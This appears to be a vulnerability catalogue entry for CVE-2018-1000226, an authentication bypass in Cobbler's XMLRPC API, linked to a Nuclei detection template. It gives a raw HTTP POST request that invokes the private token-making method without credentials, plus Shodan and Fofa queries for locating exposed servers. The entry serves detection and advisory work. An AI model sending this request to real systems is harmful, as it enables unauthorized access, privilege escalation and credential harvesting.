| Title | Cobbler - Authentication Bypass |
|---|---|
| Author | c-sh0 |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass authentication to gain unauthorized access, leading to privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Cobbler. |
| CVSS Score | 9.8 |
| EPSS Score | 0.61011 |
| CVE ID | CVE-2018-1000226 |
| CWE ID | CWE-732 |
| Shodan Query | http.title:"cobbler web interface" |
| Fofa Query | title="cobbler web interface" |
| Tags | cve2018 cve cobbler auth-bypass cobblerd vuln |
Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API (/cobbler_api) that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. This attack appear to be exploitable via “network connectivity”. Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931.
POST /cobbler_api HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Content-Length: 231
Content-Type: text/xml
Accept-Encoding: gzip
<?xml version='1.0'?>
<methodCall>
<methodName>_CobblerXMLRPCInterface__make_token</methodName>
<params>
<param>
<value>
<string>cobbler</string>
</value>
</param>
</params>
</methodCall>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-1000226.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-1000226.pcap
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